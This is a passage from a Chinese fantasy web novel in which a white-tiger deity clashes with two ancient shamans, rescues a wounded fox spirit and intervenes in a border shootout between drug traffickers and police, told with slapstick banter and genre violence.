说到最后,李寅寅也摆烂了:“你爱信不信吧,你要是不信,来,我们正大光明打一场,站着的赢,躺着的输,怎么样?他俩看着做证!” “我也可以做证。”巫履还是穿着那一身蓝色的对衫上衣,从一栋房子后面转出来。 “你……”盐水女神见到他,愣了一下,她抿了抿嘴唇,指着巫履:“你不准帮忙!” 李寅寅耸耸肩:“我跟他又不熟,他不可能帮我的,放心啦。” 巫履双手抱在胸前,微笑道:“她是不让我帮她。她还有一个身份,是开明六巫之一的巫阳,她死后,是我将她化为石,带离伤心地。” 苏灵衣悄悄对苑雪说:“他肯定喜欢巫阳!我押一个无花果!” 苑雪看他的表情像看傻子:“他谁都不喜欢,我跟一个无花果,再加一斤刺桐花!” 巫履淡淡道:“我有两件事要说,第一,小藏狐,你输了,把无花果给小鹿。” “第二,巫阳,你的实力离白虎星君太远,你赢不了。但是,我可以让你赢。” 李寅寅活动了一下手指,微微一笑:“哦?你要一起?来吧。” 巫履吹了一声口哨,地在颤动。 一个村子的人,手拿各种农具,还有砍刀、镰刀赶到这里,他们站在巫履身后。 “摄魂术?真下流。”李寅寅皱眉,她要是用法术杀这么多村民,今天晚上,就可以见识到什么叫九千雷击诛仙了。 巫履依旧从容不迫:“不是摄魂术,他们曾受我恩惠,得到保佑五谷丰登的祭祀方法,从此才能繁衍生息直到现在。有恩,自然是要还的。” 他向一旁撤了一步,看着领头的男子:“现在,是你们报恩的时候了,我的信徒们。” 第66章 苏灵衣:活着,但余华版…… 近百名身穿本地服饰的村民手持木棍与菜刀向李寅寅包围过来,原本明亮的满月,此时也变成黯淡的黄,如同白色丝缎面上被弹落了一星烟火,微微烧焦了一圈。 他们不是普通人,千百年的蛮荒血祭,让他们的身体里也带着一丝原始的煞气。 如同杀了很多人的刽子手,连恶鬼都不敢接近;屠户的杀猪刀,是辟邪圣物。 这么重的煞气,勾起苏灵衣血脉中对掠食者的天然恐惧,他动弹不得,被为首的村民轻易抓住。 此时,他那国家二级保护动物的身份在山民的眼里不值一提,他就这么被人拎着后脖颈,在人的手中晃荡。 一把尖刃抵在他的脖子上,刀尖已经刺入皮肤,露出一点红。 李寅寅看了一眼苏灵衣,又转脸看巫履,神色轻松:“你怎么就这么笃定,我会为了这只狐狸,就放下武器束手就擒?” “不笃定,只不过,能被你带在身边的,一定不是废物,也一定与你关系匪浅,我很想看看,他对你的重要性能到达哪个程度。” 巫履做了个手势,雪亮的锋刃,对着苏灵衣的肚子划下一刀,鲜血瞬间涌出,浸透了沙黄色的皮毛,苏灵衣知道如果自己发出惨叫,一定会让李寅寅分心,那个看起来凶巴巴的女鬼会伺机伤到她,他会难过自责。 ……如果她真的无动于衷……那……也太杀狐诛心了。 不管是哪种结果,苏灵衣都不想看到,于是,他硬是咬着牙,一声也没吭,甚至还摇晃了两下尾巴,假装无事发生,好像那一刀只是蹭破了一点皮。 似乎李寅寅真的被他瞒过了,见他还在轻松的摇着尾巴,她的神态松弛,语气从容:“我都说了,我不是巫阳要找的人,跟我打架没有任何意义,绑了他,更没有意义,何必在这里浪费时间。” 巫履遗憾道:“你说你不是,我也相信你不是,可是她不相信,只有她相信了,才能从石头中离开,得到大解脱。” 巫阳双眼眨红,长发在风中飞扬,形同恶鬼,哪里还有半分上古在祭祀仪式上为天神起舞的容光。 “到底要我怎么做,你才能相信,我不是抛弃你的负心汉?”李寅寅无奈,她也不指望能说服她,只希望能争取时间,把苏灵衣给救出来。 巫阳冷冷地看着她:“我要你死!” “我都说了我不是,你非说是,你要是错杀了,让真正的负心汉继续逍遥快活,岂不是白折腾一场?我说,这不是你跟禀君玩小情趣的一环吧,你心里就是想放他一条生路,但是面子上又过不去,一定得找个差不多的杀一杀,显得你好像很坚定,很果决……是不是,被我说中了!嘴上说着要报仇,要是等真禀君出来,你就只会拿小拳头锤他胸口,撒娇赌气,他说一句愿意回来,你就原谅他了,对不对!” 李寅寅故意放话激怒巫阳,把她的思维带到偏,巫阳果然中计,她怒气冲天:“你胡说!” “我胡说?你死的时候,人神混居,天庭犹在,巫履能把你的尸体带走,他为什么不帮你上告天庭?就算不能杀了他,至少也得罚他几世轮回,要么是你爱禀君爱得要死,不肯让巫履替你告状,要么是巫履不想帮你告状,你选一个。” 巫阳自然是不能承认自己还爱着那个渣男,于是,她转移目标,看着巫履:“是了,你一向为天帝祭祀,与天帝关系紧密,你为什么没有替我出首?” 巫履是万万没想到,这事怎么还能扯到他头上,他忙解释道:“禀君是伏羲后人,白虎星降世,就算我去告发,天庭也不能将星星从天空摘下来。” “但是可以罚他下界!他射你一箭,天道会罚他被万箭穿心、乱刀砍死、剥皮抽筋、只要你想,他还会被片成三千六百个小肉片,三天三夜都死不掉,看着自己被削成骨架子,比这里的砍头人祭厉害多了!” 巫阳睁大眼睛:“不可能,我不信!” “有什么好不信的,你家不是在巫山吗!你现在去打听打听,那里是不是有一个叫龙骨坡遗址的地方!里面有一个特别大的剑齿虎骨头架子,你猜那是谁的!哎~是我的~~” 巫阳:“……” “我带人灭了安徽繁昌人字洞全族~杀得有点过了,有伤天和,就被罚啦!那些人,连智人都不算,就比猿猴稍微高级那么一点点,天道都罚我!你可是巫,为天神献舞的巫,天道还能不帮你?都得怪他不替你出首告状!” 巫阳已经被李寅寅说糊涂了,她完全失去了自己的判断能力。 “巫履,咱们也算熟人了,就不跟你客套,你直接说吧,当时为什么没替她上天告状?……不会是你把窫窳扔进了弱渊,让他变成怪物,你自知得罪天帝,所以不敢上去吧。” 这句话,完全是李寅寅信口胡说,随便抓了个跟他沾边,自己又刚好认识的熟妖,拉出来凑数,吵架嘛,讲究的不是慢条斯理、逻辑严密,就是要大火力覆盖,无差别倾泻。 她压根没指望巫履会有什么反应,毕竟他说过,他不管制药和复活,他的主营业务就是与天通、祭祀诸事。 没曾想,巫履听见她的话之后,眼神微变,扬起的嘴唇瞬间就落了下来,李寅寅:“……不会这么巧,被我说中了吧。” 控制村民心智的巫履自己心智大震,那一瞬间,崖上有一道白光直冲向人群,李寅寅从村民手中夺过苏灵衣,又把趴在一边草丛里的苑雪一把拎起来,抓在手里。 她看出巫履很在意苑雪,虽然不知道为什么,但相信用苑雪威胁巫履说点古老往事的实话,应该不是什么难事。 就算是他把窫窳变成怪物,导致他和其他人无法上天告状,那也不是什么大不了的罪,只是没替巫阳告状而已,丢脸罢了。 李寅寅掐住了苑雪的脖子,刚想对巫履放几句狠话,却看见巫阳正逼视着巫履:“你为什么没有替我出首?而是把我偷偷带离巫溪?你有何居心!” 当年两人的实力就差不多,由于巫阳是女子,对天地灵气更加敏感,修行比巫履还高一些,现在又满含怨气,更是巫履所不能及。 巫履被她浑身散发出的黑气压得喘不过气,连转头看一眼李寅寅都不能,何况控制村民。 那些村民的灵智已经完全变成了数千年前的状态,他说什么,他们就信什么,并且不折不扣的执行。 巫履对他们下达的最后指令是用苏灵衣威胁李寅寅束手就擒。 他们对着李寅寅一拥而上。 李寅寅试了一次虎啸,无用。 人类有了坚定信仰的时候,魂魄会发生奇怪的变化,会变得非常坚定,连死都不怕,这是人类能在漫长进化中,超越各种顶级掠食者,成为食物链顶端的重要理由之一。 没办法,李寅寅不能真的杀人,苏灵衣的伤口还在不断流血,李寅寅企图把苑雪扔出去砸人,怎么扔都扔不掉。 苑雪的前肢紧抱,后肢死缠,紧紧扣在李寅寅的胳膊上:“别扔我嘎!!我什么都不知道嘎!!!你带我走吧!他们好可怕啊!!!” 后面村民离李寅寅只有二十多步,但是李寅寅不能用缩地成寸,空间跳跃很激烈,苏灵衣会受不了。 她化身成白虎,把苑雪和苏灵衣往自己背上一扔,厉声喝道:“你扶着他,别压着他的伤口!” 周围大树参天,树冠将月光严严地挡在林子之外,字面意思上的伸手不见五指,身后追赶的村民有人被树根绊倒,有人被悬吊着的树藤挂住脖子,只剩下三十多个视力极强的资深猎手还紧跟不放。 李寅寅的视力比他们强,但也仅是看得见而已,那些乱七八糟野蛮生长的小树,也会挡住她的去路。 能平A冲过去的时候就冲过去。 太粗的树,她也得稍微绕一下。 糟糕的地形平等地拖累了追逐赛中的所有选手。 两旁的小枝杈不时刮打在李寅寅的脸上身上,划出一道道的血痕。 她忍不住抱怨:“靠,我从没吃过这种亏!苑雪,你修炼了这么久,连最朴素的吃人都不会吗!” 苑雪生怕李寅寅嫌她是个废物把她丢下:“……我……我是吃素的……” “要你有什么用!”说话间,李寅寅又被树枝划了一下,越发暴躁。 苑雪十分委屈,可是她又不敢顶嘴问李寅寅:“你还是虎呢,你怎么不自己吃!” 为了证明自己有用,苑雪努力憋出一个优点:“我会撞人!” “撞人……你那一点力气,去正规按摩店上班,一天要被投诉三次没力气!算了,你还是好好坐着吧,苏灵衣怎么样?” 苏灵衣微弱的声音从背上传来:“活……着……” “那就行。” 苏灵衣想多争取一点温情的问候,又补充了一句:“……是余华版的……” 李寅寅一点面子都没给:“盗版的都行。” 这是通向缅甸的小路,只有村子里的猎人会走,路上没有水源,连动物都不走这条路,没有脚步帮着把地上的杂草和杂树踩扁,相当的崎岖难行。 到最后,连李寅寅的身体都要挤不过去了,身后的人类还在一百多米之外跟着。 她小声嘀咕:“等我回去抓住巫履,逼他教我控制人心的手段,我回去帮奎木狼升官!帮娄金狗夺取公司,最后,我们白虎七宿,号令天下,莫敢不从!” 苑雪坐在她的背上,用尽全力扶着苏灵衣,听见李寅寅的声音,她急急出声:“能不能也帮帮我!” “你想干什么?” 苑雪双眼放光:“我想让人类给我的庙捐钱!要清华和同济的建筑系高材生给我重建,让复旦的新闻系帮我做宣传!” “不考虑叫北大的帮你做账?” “北大?不行吧,我听说提篮桥高级会计进修学院里都没有北大的,应该是他们资格不够。” 李寅寅猛地停下脚步。 苑雪差点被她吓死:“我……我就随便说说……我要北大的还不行吗……千万不要扔下我呀!” “嘘!”李寅寅听到了刀砍树的声音,从前方传来。 木头倒地的声音响起之后,就是人类脚步挪动的声音、马蹄挪动的声音。 马蹄声音很闷,应该是在马蹄上包了布。 声音很多,至少有二十多匹马。 落下的动作十分沉重,应该背了很重的东西。 面前的杂树接连倒下,眼看就要跟这拨不知道干嘛的人面对面,李寅寅一个闪身,几个飞蹿,爬上了路旁一株大树,伏在粗壮的枝杈上。 苏灵衣微弱的声音又响起:“不是说猫没有教虎爬树吗?你怎么爬这么快。” 李寅寅的声音直接传进苏灵衣的脑中:“什么猫教的!大家都是猫科,谁比谁高贵!凭什么就是猫教虎了!你再多说一个字,我就把你从树上扔下去。” 苑雪趴在苏灵衣耳边用气声问:“所以,她为什么爬这么快?” 苏灵衣:“你想知道答案吗?” “想!” “知道答案以后,就要被扔下去。” 苑雪:“……这么无聊的事情,谁想知道啊!” 一棵长在路正中,有海碗那么粗的杂树轰然倒地,李寅寅终于看清这群人。 他们皮肤很黑,生得一张标准中南半岛土著居民的脸,身材瘦小,却肌肉结实,为首开路的两个人手里握着一把四十厘米长的半弯砍刀,肩膀上挎着枪。 他们的衣服很普通,但是那枪一点都不普通,李寅寅认出,那是从正经的兵工厂里出来的PP19微冲。 “好家伙……”李寅寅不由睁大眼睛,在禁枪的中国,手造小土枪都不常见,何况制式武器。 这群人很快与追着李寅寅而来的村民遇上了。 负责开路的人当即伸手探向肩头的枪带,却被后面的一个男人喝止。 李寅寅听出那个男人说的意思是:“不能杀,他们是中国境内的村民,杀了他们,以后这条道就废了!” 那两个开路的人才将手收回来。 说话的男人大步向前,站在队伍最前面,他让自己手下们掏出几包烟,给村民们每人派发一支,说话特别客气:“阿哥,你们是出来打猎的吧?我们是运货的,借道,没有恶意。” 此时村民失了白虎的踪影,巫履的命令暂时失去了指向性,他们恢复了神智。 他们,其他事情不记得了,只记得自己确实是追着一只老虎从村里跑出来,也很合理嘛,驱赶老虎,保护村子。 他们的注意力都被这个男人给的香烟吸引了,这跟他们自己卷的烟完全不一样,男人要给他们点烟,他们拒绝了:“在林子里头,莫要抽烟。” 李寅寅:“嗬,还挺有防火意识。” 他们拿在手里闻了闻,然后有人叼在嘴里,有人顺手夹在耳朵上面。 有人好奇地看了一眼马队上背的大包:“运的什么?” 男人笑笑:“没什么,就是一些木头,还有石头。” 当地人心知肚明,所谓木头,就是缅甸大果紫檀,又名红花梨,高档木材。 石头,就是翡翠了。 正大光明从关口进出,要交关税。 偷偷摸摸走小路,这笔钱就落自己兜里了。 中缅边境线极长,边境上的人家,就算自己不干,谁家还没个干这事的亲戚,就算互相撕逼吵架的邻居,都不会举报。 村民露出“我懂”的了然表情,站在路边,让马队过去。 “我们也回去吧,离村子都这么远了,老虎也不会回来。” “哎,回家睡觉……我都好久没跑这么远了。” “老虎什么时候来的,我怎么都不记得了?” “我也不记得了……别想了,回家!” 等村民都走完了,李寅寅才从树上跳下来:“我们去村卫生所偷点绷带,先给你包上。” “他们先伤了我,我们这怎么能叫偷。”苏灵衣对“名份”非常看重,气若游丝了,还要强调一下。 要是平时,李寅寅肯定得怼他一个跟头,再嘲讽两句,听着苏灵衣快断气的声音,也狠不下心,随口道:“好好好,是拿,拿行了吧!” 李寅寅这才发现,刚才自己已经不知不觉跑出国境线了,在疫情期间,有太多的缅甸人跑到中国来,于是,中国的边境上也装上了铁丝卷。 刚才自己一路跑过来的时候没注意,现在才发现,原来前面有很长一条铁丝卷子挡在边境线上,只是有一段被人剪了,所以才能畅通无阻地跑过来。 过了铁丝卷,路明显强太多,就隔了一米! 虽然也是土路,但明显宽了许多、也没有那么多的杂草杂树,在上面跑也不会刮到脸。 “小路不都是本地人自己修的嘛,怎么比237国道上江苏省界和安徽省界的差距还要大!” 李寅寅正跟苑雪和苏灵衣吐槽道路建设问题,忽然,她听见了远处传来的纷乱声音。 人声、马声,还有“啪啪啪”的脆响。 苏灵衣:“咦,谁大半夜放鞭炮啊?” 苑雪和李寅寅脱口而出:“是枪声!” 李寅寅加快脚步,狂奔向前,在通向村子的分岔路口处,有两匹马倒在地上,其他的马也在胡乱瞎跑,有的奔向村子,有的冲进密林。 马队的人藏身在林子里面,每个人都拿着枪,小心地把自己的脑袋和身体缩着。 在更远的地方,还有一队人,他们穿着制服,对着这边喊话:“你们跑不了的!投降吧!争取从轻处理!” “哈!老子干了这一行,就没想着活着回去!” “想想你们的家人,想想你们的孩子!” “想个屁!谁不知道你们中国贩50克就要枪毙!反正都是个死!兄弟们,跟他们拼了!” 这人刚说完,便抬起手对着刚才喊话的方面扫了一梭子。 对面立马回敬了几颗子弹。 李寅寅抽了抽鼻子:“50克,这帮人是贩毒的啊。咦,我闻到一股熟悉的味儿。” 苑雪:“火药味嘛,我都闻到了。要不要给这个狐狸偷**,帮他烧烧伤口,消消毒嘎。” 苏灵衣:“……我谢谢你啊……” 苑雪非常高兴:“不客气。” 李寅寅摇摇头:“不是,是熟人味。” 苑雪歪头瞧着她:“你的熟人是毒贩嘎?哎哟!” 李寅寅收回拳头:“我认识的毒贩,那只能叫熟尸。” 苑雪抱着脑袋上的包,含泪:“你认识很多毒贩嘎?” “虎门销烟的时候,我在现场。可惜,第二年,天庭就联系不上了,我的灵气急速衰退,只能进山睡觉。没能参与一下开启近代史的大事件,真是太亏了!!!” 一颗流弹擦过苑雪的头顶,吓得她一缩脖子:“那么危险,躲还来不及,你还遗憾没参加?” 李寅寅:“要是我参加,就一定能赢,赢了就不用赔几亿两白银。 想想看!要是想办法把那些钱弄出来,给你修庙,能修一个好大好大的庙。” 苑雪悲从中来:“我的钱!” 说话间,双方再次展开枪战,李寅寅听了几秒,眉头皱起:“不好,毒贩的火力比较强,我得去帮忙,你把苏灵衣拖村卫生所去。” 没等苑雪反应过来,李寅寅就已经不见了。 李寅寅看见这帮毒贩,分成两队,几个人在前面开枪做掩护,其他人弯着腰,悄悄向村子方向移动。 真让他们进了村,村民就会成人质。 李寅寅抢先进了村子,想张开结界,结果发现村子里已经有一个了,是巫履的结界,听动静,里面在拆迁。 “你们俩先别打了,先处理外面的事。”李寅寅将声音传进结界里,结界打开,露出了十分狼狈的巫履,以及显然还没过够瘾的巫阳。 “你还敢回来!”巫阳厉喝。 李寅寅:“我都说我不是了,外面有毒贩……他们向人类卖一种让人失去神智的药,人吃了以后会杀老婆吃孩子!禀君说不定就是吃了药以后对你动手的!” 虽然巫阳还是不知道那是什么药,但是她听不得“禀君”,更听不得“杀老婆“当即便收手:“在哪?” 李寅寅向村口那些鬼鬼祟祟的身影一指:“来了。” 第67章 毕月乌 十几个黑影急匆匆向最近的民宅冲去,明明近在眼前的民宅却怎么都过不去,面前总有一堵不高不矮的墙挡着,想爬又爬不上去,只能跟着墙绕。 李寅寅坐在石头上:“巫履,你不是挺能打么,去把他们杀了。” 巫履:“你怎么不去。” 李寅寅:“你是人类,天道对你减轻一档,用点手段,人类也抓不着你动手的把柄。” 巫履:“减轻也会对修为有严重损伤。” 李寅寅:“巫阳,你……咦,上哪去了?” 巫履:“她把村民都引到后山去了。” 后山上,数百村民手捧瓜果、鲜花,对着飘在半空的巫阳,顶礼膜拜。 刚才巫阳现查了他们的族中神话,并按照神话里的记载,展示了几个神迹。 按照流程,村民们必须现在!马上!立刻!就得举行一套祭神仪式,起码两小时起步。 所以,现在村子里已经空空荡荡,只剩下牲畜和看门狗,一个活人都没有。 李寅寅:“……不愧是你们!” 苑雪小小声:“那我们可以回去了吗?” 李寅寅:“不行,要等能压制住这些坏人的人来,不然,他们进了村民家,会拿屋里的钱、割厨房里的肉、拔地里的菜、摸匣子里的首饰。” 苑雪:“对哦!还是星君姐姐厉害,想得这么周到,我怎么就没想到呢。” 巫履:“因为她就是这么干的,非常熟练。贼过如梳,兵过如篦,连锅都不放过!” 苑雪震惊地瞪大了眼睛:“!!!” 李寅寅:“我那会儿又不是人民子弟兵,我……咳,他是说我打游戏的时候啦,玩角色扮演游戏的时候,谁不进屋摸宝箱啊!那是游戏策划的锅,还专门给我宝箱罗盘,生怕我摸不着呢!” 苑雪恍然大悟:“噢!” 巫履看看李寅寅,又抬头看看天,月朗风清,并没有急速赶来的天谴云,他悠悠一叹:“天道不公。” 在墙里转了好几圈的人也忍不住小声嘀咕:“这个村子好邪门,那边还有好多被砍下来的牛头被挂在竹竿上,这里到底住的是什么人啊……” “没见识,那是他们求丰收。” “那……那怎么会绕不出去啊。” “没见识,迷宫没听说过啊!” 不多时,村口传来一阵急促的脚步声,是负责火力掩护的人也跑回来了,他们看见先头过来的十几个人,还在几堵矮墙里转圈,气急败坏: “你们是不是有病?不抓人质,也不躲起来,在这里等着吃枪子?!” “这墙有古怪!绕不出去!” “是嗦噻,怕不是诸葛阿公的八阵图哦……” “是鬼打墙!” “放屁!就这么几面墙,把它冲塌!我就不信还过不去!” 这人着实气性够大,一边骂着脏话,一边搬起村口一个小磨盘就冲了过来,连砸几面墙。 这里的墙是泥巴糊的,被他轻松砸出一条直路,他骂骂咧咧地往前走:“格老子的!你们就是有病!这不是路?!” 被他骂的其他人小声嘀咕:“听说说脏话能驱邪,居然是真的。” 他们在村子里转了半天,连冲了几户人家,想抓老弱妇孺给他们当抵箭牌,却不想一个活口都没有,连狗都跟着上山看热闹去了。 “格老子的,大半夜不睡觉,都死到哪儿鬼转精去了!” “他们是不是刚才没得抓住猎物,就换别的地方打猎去了?” “打你妈个麻花猎,男人出去打猎,女人和娃娃也出去打猎撒?!” 整个村子一片死寂,只有村口用来祈祷丰收的牛头骨大阵立在那里。 近百颗牛头骨,白天看着都十分瘆人,何况是在晚上。 惨白的月光打在牛头骨黑洞洞的眼眶里,光影效果让每一颗头颅都好像幽怨地看着闯进村子的人。 实在找不到人质,只能撤。 还没来得及往村子通向后山的路跑,后面紧随而来的边防与缉毒已经到了。 毒贩躲进村民的家里,以他们的墙和房子做掩护,准备偷袭。 其中一人躲避的方向是村卫生所,苏灵衣在里面。 李寅寅起身:“我去看看。” 她不担心此人能伤害到苏灵衣,担心的是苏灵衣的原形咬人咬不死,气急败坏之下会用法术伤人,到时候含冤被雷劈。 那个毒贩一拧门把手就进去了,下一刻,男人的惨叫和女人的惨叫声同时响起。 李寅寅闪身进门,看见毒贩站在门口张个大嘴,男人的惨叫声是他发出来的。 卫生所里唯一的躺椅上,躺着一个半裸的男人……男狐? 他的身体是人类,光着上半身,腰上缠着几圈白色的纱布,还没缠好,已经有些松了。 脖子上面的头,是一颗方方正正的藏狐头,这会儿也大张着嘴巴,露着两排尖牙惨叫,发出的声音,如同女人一般尖细而凄厉。 李寅寅:“……” 她抬手,对着毒贩的后脑重重劈了下去,男人的惨叫声戛然而止。 “扑通”,毒贩的身体重重摔在地上,人事不省。 女人的尖叫声也停了,藏狐的眼睛无措地看着李寅寅。 “他没伤着你吧?”李寅寅的眼睛在他身上上下扫了一圈,确定唯一的伤口还是被村民割的那一刀。 “你要么全人,要么全狐,这半人半狐的,你是想当旺鸡蛋卖吗!” 旺鸡蛋,没出壳的小鸡,地方特色小吃,以半鸡半蛋状态最受欢迎。 苏灵衣努力保持冷静:“身体是狐狸状态的话,毛太多了,伤口会被粘住。” 李寅寅:“那就全人呗。” “……是我故意保留的!能把人吓退,刚才不就很成功?!”苏灵衣说这句话的时候,眼神飘乎,不像在说真话。 李寅寅突然伸出右手按在他的胸口上,心脏跳动还算平稳,但不够强健。 动物化仙,本相受伤对灵息影响很大,多有变不回来的,玉石琵琶精和鲶鱼精就是先例。 村民手里的刀,不知道杀了多少生灵,煞气十足,她担心苏灵衣是被煞气所伤,所以,连维持人形都做不到了。 李寅寅的手在他胸口来回移动,将自身灵息输入他的心脉,消除煞气影响。 忽然,李寅寅感觉到手下的皮肤温度慢慢升高。 呀,发烧了?李寅寅又伸左手去摸苏灵衣的额头,毛茸茸的,什么都摸不出来。 李寅寅将自己的灵力从右手灌进苏灵衣的心脉,强迫他变回人头。 坏了! 不用摸,苏灵衣的整张脸都红透了! 这不是发烧,什么是发烧! 就是发烧了! 李寅寅想不明白。 一只修炼了几千年的狐狸,虽说天赋不强,但也不至于发烧吧?! 这句话她差点说出来,想想这话也太伤感情了,她硬把这句话压了下去。 也许是因为白虎煞气更重,自己的灵息对他来说,反而是更大的伤害? 李寅寅松开手,苏灵衣刚松了一口气,李寅寅竟然翻身上来,整个人像骑在他身上一样,苏灵衣那口呼出去的气僵在口鼻间。 她要干什么? 李寅寅俯下身子,强硬地吐出两个字:“张嘴!” “啊?!”苏灵衣全身都僵硬了,李寅寅说话时带起的轻微气流打在他的脸上,暖暖的,软软的,就是这行为,这语气,这场合,哪哪都不对啊。 见苏灵衣还在发愣,李寅寅只得补了一句解释:“把你的妖丹吐出来,我帮你在丹田里净化。” 这是她能想到不会造成额外伤害的唯一办法了,她相信苏灵衣不会以为自己是贪图他那颗妖丹。 “不用……”苏灵衣偏过头,拒绝。 “都什么时候了,还装,你要是死了,我还得帮你挖坑,你要是不想活了,就好起来,自己挖坑自己跳。”李寅寅以为他是好面子所以才推托,嘴里也没好话。 “真的不用。” 李寅寅不管他用不用,抬手就去捏他的下巴,硬生生将牙关捏开,将嘴对上去,打算将妖丹吸出来。 苏灵衣呼吸急促,伸手去推李寅寅的肩膀,根本推不动一点。 轻柔的触感刚刚一碰,就分开了,一股凉风吹进来,李寅寅转头望向门口。 卫生所的门被推开,苑雪小心翼翼地探进一颗脑袋:“他们打起来了,巫履让我进来躲躲。你们在干嘛?” “他的刀伤里有煞气,我要把他的妖丹吸出来清煞。你过来,帮我按着他的双手。” 苑雪进门:“不是煞气嘎,那点煞气,我都不怕,那是柴刀,劈竹子的,没杀过生,但是很脏,还有锈,是破伤风嘎。” 破伤风的致病原理是破伤风杆菌……那个破菌,也是这个世间的生灵,虽然没有九窍,不能成精,也无灵识,但是,它属于天道法则庇护的范围。 佛家说一钵水,八万四千虫,喝水前都得念甘露水咒,为它们超度。 按理说,用法术杀菌不至于被雷劈,不过,谁知道会在什么地方被天道偷偷记上一笔,到时候算总账,这就是所谓勿以恶小而为之,勿以善小而不为。 李寅寅起身,熟练的翻箱倒柜:“帮我找找退烧药在哪。” 苑雪动都没动:“不要找啦,没有啦,以前有的,疫情期间,买退烧药都要登记,要拿医生开的条条,镇子上的药房都一直没有再进货。” “都过去那么久了,还不进货?”李寅寅恼怒。 “三年了,都习惯自己上山找草药嘎,吃了草药几天不得好,就送乡里的医院,不吃就不吃啦。” 李寅寅摇摇头:“你在这看着他,帮他弄点水擦擦,我出去把他们都杀了,然后送他去医院。” “噢!”苑雪痛快答应。 等李寅寅走了,苑雪在屋里摸了一只小盆和一块纱布,想出去打点水,却被苏灵衣叫住了:“不用,我没发烧。” 苑雪怀疑地看着他,男人生病有两个阶段,第一个阶段是:我没病。全身上下就嘴最硬。 第二个阶段是:我马上要死了。 “真的,是她刚才离我太近了……那个……虎皮,保暖,就……特别热……你应该懂的吧。” 苑雪困惑地眨着眼睛,转念一想,刚才坐在虎背上的时候,是挺暖和的……但也没有特别热……可能因为在森林里跑的时候有风,现在在屋里没风? 她觉得自己懂了,“噢”了一声,就乖乖坐下,从随身的小包包里摸出手机开始玩消消乐。 外面,穿制服的一方以矮墙为依托,与藏在屋子里的毒贩展开枪战,巫履蹲在屋顶上看热闹。 李寅寅站在他身边:“你不干点什么?” 巫履手中拈着串,慢悠悠:“人生自有命数,不管哪一方,生死都由天定,他们之中又没有我的客户,我又何必插手。” “怂货别给自己找理由。”李寅寅给了他一个白眼,化做原形,跃上火力最猛的屋顶,她用力踩碎瓦片,落进屋内。 屋内发出人类惊恐的惨叫,片刻后,屋子里便再无射出的子弹。 接着是第二间、第三间,村子里又恢复了安静。 李寅寅闭了闭眼睛,回忆自己有没有把毒贩杀尽。 ……不对,没有……先后进村的人加起来一共是二十三个,现在只死了二十个。 还有三个…… 他们不可能逃进山里,那么一定是藏在某间屋子里了。 现在,边防与缉毒官兵都已经靠得很近了,李寅寅也不能再以白虎的形象出现在人前。 否则,他们手里的子弹很难说到底会不会对着自己射。 射倒是射不死,就是很麻烦,影响她杀人。 李寅寅再次化为人形,原想着给自己换身本地打扮,转念一想,一开口就要穿帮,说不定会被当成同伙。 她给自己变了身背包客的全套始祖鸟服装,背包客出现在任何地方都是合理的。 她给自己的人设是——进入深山原始村落的背包客,被热情好客村民留宿,半夜听见鞭炮声,于是好奇出来看热闹。 李寅寅宁神凝气的听了片刻,锁定一间肯定有人的屋子,便出门,向那里走去,还没忘记给自己的手里变出一只尼康单反相机,加强人设。 边防和缉毒的大部分人都在被李寅寅清理过的房间。 在他们的视角里,看不见李寅寅的虎身,只能听到屋顶瓦片碎掉,然后人类惨叫,继而无声。 在他们的认知里,事情已经很古怪了,三间屋子的瓦片同时塌掉,砸死了人。 看到尸体以后,就更古怪了,这些人不是被瓦片砸死的,是被什么野兽咬死的,缉毒警中有云南猎户的孩子,他一眼就认出那是虎齿。 这里确实有西双版纳虎,但是,很少听说虎会跑进村子,还主动咬人……重点是,啥时候咬的啊?! 正枪战,突然,在屋里的人就被虎咬死了? 正常的虎不会靠近如此吵闹的地方,野生动物虽然好奇,但它们不是弱智。 退一万步来说,这只虎是弱智,听见枪声就兴奋,那么,虎呢? 领头的男人盯着牙印看了半天:“不是虎,可能是别的小型猛兽,本来就藏在屋子里,被枪声惊吓,咬死人以后就逃走了。” “怎么可能嘛,这肯定是老虎的牙印,毕队,不是我吹,我爸在八几年的时候,是打过真老虎的,我还玩过虎牙呢!这就是成年老虎的牙印。” 另一个人起哄:“那你说,虎呢?毕队,他这么牛逼,这次行动报告让他写,不把老虎消失的原因写明白,就别下班!” “呃……这么一想,确实有可能是像虎的其他小型生物……” 被称为毕队的男人起身:“好了,报告是我写,你们不用操心这事,先看看有没有漏网之鱼,有没有村民受伤。” “对哦……这村子怪的很,一个人都没有,大半夜都去哪了……” 众人分散开,对每一间屋子进行搜索。 这村子没有通电网的电,全靠一条小河边的自营小水力发电站供电。 刚才枪战的时候,村里的变电设备被打坏了,外部照明全靠月亮,屋里只能靠手电筒。 手电筒的光圈到底不能覆盖整个房间,要找人就只能…… 一吓唬:“出来吧,我看见你了!” 二分析:看看地上有没有带泥的脚印,或是有家具被挪动过的痕迹。 三隐蔽:找个能挡住自己身体要害的地方,慢慢挪,对房间进行彻底的搜索。 连搜了几间屋子都没有收获。 直到他们进了一间有小院的屋子,这户人家看起来挺有钱,不仅有院子,还有一道石墙挡着正门,像屏风那样,不让外人随便窥见院内的一切。 三个缉毒警手里握着枪,推开虚掩的房门,然后,悄悄走进去。 月华如水,将院子里的一切照得很清楚,厨房门开着,里面没有人,灶边摆着几只碗,碗里还有着没吃完的腊肉炒青椒。 简陋的厕所门也开着,没有人。 杂物间推满了木柴,码垛得很整齐,不像是仓促之间能藏进去的样子。 三人继续向前,忽然,他们听见屋里有人说话,三人不约而同握紧手里的枪,正要冲进去,又听见了一阵女人的笑声:“怎么这就不行了嘛?再来呀。” 三人一愣。 紧接是男人说了句什么,床猛地发出“吱嘎”一声,然后“二人语渐间染,床又从中戛戛”。 三人:“……” 三人虽然都是未婚,但是大家都是成年人了,谁还没看过一点奇奇怪怪的片子。 都知道那声音是什么意思。 这……太尴尬了,人家夫妻……不管是不是夫妻,总之有人在办事…… 最年轻的那个做了个手势,意思是:我们走吧。 正忙着的两个人肯定不能是毒贩,要是屋里藏了毒贩,这两位也不能有这么好的兴致。 另一个点点头,表示同意。 年纪最长的那个带头往外走,另外两个紧跟着他一同出去。 出了院门,最年轻的刚想发表一下对刚才事件的看法,却发现年长的同事不走了。 他停下脚步,转过身,用力敲大门:“有人在家吗?” “咹??”最年轻的缉毒警不明白他是什么意思。 年长的同事飞快解释:“谁说床上的两个不可能是毒贩?!” 另外两人一愣,对啊,刚才过了那么长的时间,脱光了往床上那么一躺,完全来得及。 不多时,从院子传来脚步声,一个男人披着衣服出来打开院门,用当地话问:“你们找谁?” 女人也穿戴整齐,坐在屋里,好奇地打量着进来的三个人。 这对男女都是本地人长相,也是本地口音。 